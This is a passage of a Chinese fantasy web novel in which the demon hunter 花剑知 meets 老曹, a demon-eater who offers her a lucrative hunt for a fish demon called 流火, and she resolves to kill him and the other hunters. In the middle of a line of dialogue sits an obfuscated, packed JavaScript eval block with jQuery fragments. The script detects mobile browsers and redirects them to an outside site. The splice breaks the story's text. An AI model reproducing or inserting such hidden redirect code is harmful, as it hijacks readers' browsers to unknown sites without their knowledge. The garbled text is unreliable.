背后忽然冒出一个人，老曹大吃一惊，目瞪口呆地转过头：“你你你你……”


    他手里捧着已经被吃得稀碎的死鸡，鲜血顺着嘴角往下流淌。花剑知只是微笑，并不说话，这让老曹意识到她没有恶意，他若有所悟，眼前一亮：“你是同道中人！”


    “勉强算吧。”花剑知在他身边蹲下，谨慎避开那些面目全非的尸体，“不过，我抓的，比你这些可要好多了。”


    “原来您是猎妖师，失敬失敬。”老曹痴呆地笑了笑，献宝似的，把手里那只鸡递到花剑知面前，“您吃吗？要不要尝一口？”


    花剑知连忙摇头。


    在捉妖师眼里，妖怪盈满妖气，浑身都是腐臭的腥味，光是待在一起就足够折磨，更不要说吃。据说皇帝吃妖，都要将妖肉拔毛、剥皮，细细切碎，再混合各类补品，熬成浓汤，才会动筷子。这老曹，抱着就啃，也太……太粗犷了。


    光是看着，花剑知就想吐。


    见她拒绝，老曹赶紧把小妖怪抱回自己怀里，继续埋头苦吃。他不忘给自己开脱，边嚼妖怪，边含糊不清道：“我已经很久不吃了，偶尔弄点零嘴，解解馋。”


    吃妖是一种瘾，怎么可能戒掉？花剑知眯起眼睛，仔细辨别老曹的气息：“你是……你是人吧？”


    妖怪同类相食，是为了吸收外界的妖气，提升自己的力量。可人吃妖怪，身体无力解决妖气，只会让妖气渐渐控制身体的各个器官。若不及时制止，妖气甚至能把人转变为妖怪——这也是正道的捉妖师严禁猎妖吃妖的原因。


    至于那些所谓延年益寿的功效，不过是因为皇帝醉心其中，传出来的谣言罢了。有皇家的鼓动，权贵们趋之若鹜，殊不知自己正在迈入深渊。


    老曹体内的妖气并不多，因此花剑知一行人没能立刻发现他的异样。但他的妖气已经和身体融合到了一起，照这样下去，不管他吃的是大妖怪的“宴席”还是小妖怪的“零嘴”，最终都难免变成怪物。


    “是人，是人。”老曹冲花剑知比一个大拇指，他嬉皮笑脸的，露出一口黄牙，“听您的口气，是行家啊！”


    “算不上，”老曹这副腌臜样子实在让花剑知反胃，她随口敷衍着，站起身，准备往回走，“你慢慢吃，我要回去了。”


    “别走！别走！”


    老曹伸出一只血淋淋的手就要抓她，幸好花剑知反应迅速，没让脏东西碰到自己的衣服——这可是去年皇帝亲自赐给她的西域织物！万一碰脏了，她在外面也没法洗干净。花剑知彻底恼了，怒气冲冲地骂道：“干什么？！不长眼的狗东西！”


    “姑娘，姑娘，别生气，我这是心急了。”见她生气，老曹连忙道歉，但他脸上照旧笑嘻嘻的，似乎没把她的恼怒放在心上，“我看您也是懂行的，想不想赚笔大的？”


    他们在路上跑了三天三夜，也没看到一只像样的大妖怪，怎么可能赚笔大的？


    但这里是别人的地盘，他既然这么说，其中肯定暗藏玄机，花剑知暂且不吱声。


    她耐下性子听他讲话，老曹发现有机会，立即谄媚地笑起来，道出自己的打算：“姑娘，再往西走两天，就到了炎南。那地方是猎妖师的地盘，有钱人家想吃妖怪，就写信送去，猎妖师们收到信，便互相派活，一起赚钱。我这呢，算个中转站，他们路过，会送我点小东西，比如这个，”他晃晃手里所剩无几的鸡肉，“而我，给他们提供吃住的东西。不过，不过，不管是钱还是妖怪，大头总是在他们那的，轮不到我。”一说妖怪，他的口水都要流下来了，“但是！最近冒出来一只鱼妖，炎南的一个县令本想要，可去了几个捉妖师，都没法解决它。要是您能干掉它，我们准能分到大钱！”


    炎南有猎妖师？


    花剑知杀的妖怪都给了皇帝，就算皇帝不要，也靠花朝露的人脉，送到了大官手中，她还真不清楚自己的同行平日是怎么运作的。原来他们都待在同一个地方，等着官家给饭吃吗？听起来怪可怜的。


    花剑知琢磨一会，回过神，发现老曹还在等自己的答复，便故作冷淡道：“我干掉了妖怪，为什么要给你钱？”


    “您这叫什么话！”说了半天，花剑知却还不答应，老曹心里急，当场给自己的脑袋来了一巴掌，“姑娘，您初来乍到，有些事不懂，古话有云：做人留一线，日后好相见！我今天给您介绍了活，以后有什么机会，我自然还是多给您留意的！这样，要是您能抓到大鱼，我们八二分，您八我二，我再免了您的吃住钱，行不行？”


    如果去炎南，肯定有意外收获。


    花剑知当然很想和这些猎妖师过过招，可炎南不是前往百川的必经之路，她现在有要事在身，没时间浪费在别人身上。


    但如果自己不答应，老曹这种守不住秘密的，一定会告诉其他人：前段时间来了四个捉妖师，一路往西，目标明确。其中一个还是猎妖师，八成有大钱要赚。万一把造孽的猎妖师全引到了百川，打乱了她的计划，那就不好了。


    最妥当的做法是现在就把老曹杀了，以绝后患。


    花剑知拨弄着碎月的剑柄，腰间的玉佩撞上，发出了叮铃当啷的响声。


    老曹不知道花剑知已对自己起了杀心，还以为她在权衡利弊，于是继续鼓动她：“您那几个同伙，他们干不干？人多力量大，咱们一起分钱！”


    “那不行。”让段烛知道就完蛋了，花剑知赶紧摆手，“他们是正儿八经的那种，你不要说出去。”


    同一行人之间的观念相斥，老曹也见过不少，他会心一笑：“懂懂，我懂。那姑娘的意思是……？”


    既然老曹和猎妖师来往密切，他肯定还知道更多消息，现在杀了他，有点亏。花剑知转念一想，便道：“这样吧，我先问你


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14963101|161137||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ，那鱼妖，长什么样子？”


    “可大了，好大一只。”老曹夸张地比画着双手，力争让花剑知对鱼妖更有兴趣，“住在北边的瀑布里，你们骑马跑一天，就能看见它。我听他们管它叫流火，好像能吐火，之前一连烧死了几个大师。大伙都对它束手无策，县令听说他们一条鱼都抓不来，也差点被气死。不过他还是很馋这条鱼的，所以开了高价。据说他还承诺，若能抓到鱼，愿意以重金为妆奁，把自己的儿女通通嫁给捉鱼者！”


    花剑知对县令的私人生活不感兴趣，她只记下鱼妖的名字——流火。


    老曹说得投入，继续念叨着：“也真是奇了，以前炎南从来没有这样厉害的大妖怪，最近接二连三冒出来好几只！有人说因为段易虹死了好些年，没人能像她那样镇压妖怪，它们便蠢蠢欲动，想出来称王称帝。这妖怪多了，对普通人来说，是件坏事，可对咱们来说，那就是赚钱的机会多了！”他絮絮叨叨一通，终于想起旁边还有个人，“姑娘，您怎么说？要不要试试？您来的时候，我就看出您气质出众，绝非一般人物。或许您不缺钱，可是钱，从来都是越多越好的！这么一大笔财产，对您来说轻而易举就能赚到，何乐而不为？”


    照老曹的说法，不仅炎南，就连百川的鹏鸟现世，肯定也和段易虹有关系。然而妖怪若想造反，段易虹死后的第一天他们就该出没了，怎么可能等到现在？


    这些道理讲给他听他也不懂，花剑知懒得辩论，掀开背后的树枝往回走：“我明白了。等我再考虑考虑，决定好就来找你。”


    “赚钱的机会啊！姑娘！”花剑知走得太快，老曹追不上她，只能在后面喊道，“千万别错过，过了这村，可就没这店了！”


    花剑知快步回到客栈。


    附近有一大群猎妖师，她想。


    他们大概率认识——或者听说过自己。换作以往，这倒不是什么问题，可现在，她需要在明瑕和宋长岁面前藏好自己的身份，让百川之行顺利结束。她得尽快杀了老曹，防止自己的出现被其他猎妖师所知。


    但还有一个问题。


    如今她专心追捕鹏鸟，没法替皇帝抓日常食用的妖怪。他肯定需要新的人手，填补这段时间的空白。镇邪阁那群人大概率没有用处，因此皇帝只能在民间寻觅好用的猎妖师。如果炎南真的是猎妖师抱团的地方，他们不久之后就会收到相关的消息。


    天高皇帝远，花剑知现在管不到江安和京城，但她也不希望别人钻她的空档，取代她的地位。


    若她不知道这回事，也就算了；但她既然掌握了消息，就不可能坐以待毙。


    心里的计划渐渐成形，花剑知挂着若有若无的笑容，神情染上了几分邪气。


    ——倒不如寻一个合适的借口，联合段烛、明瑕和宋长岁，把老曹和炎南的猎妖师全杀了，省得夜长梦多，事久生变。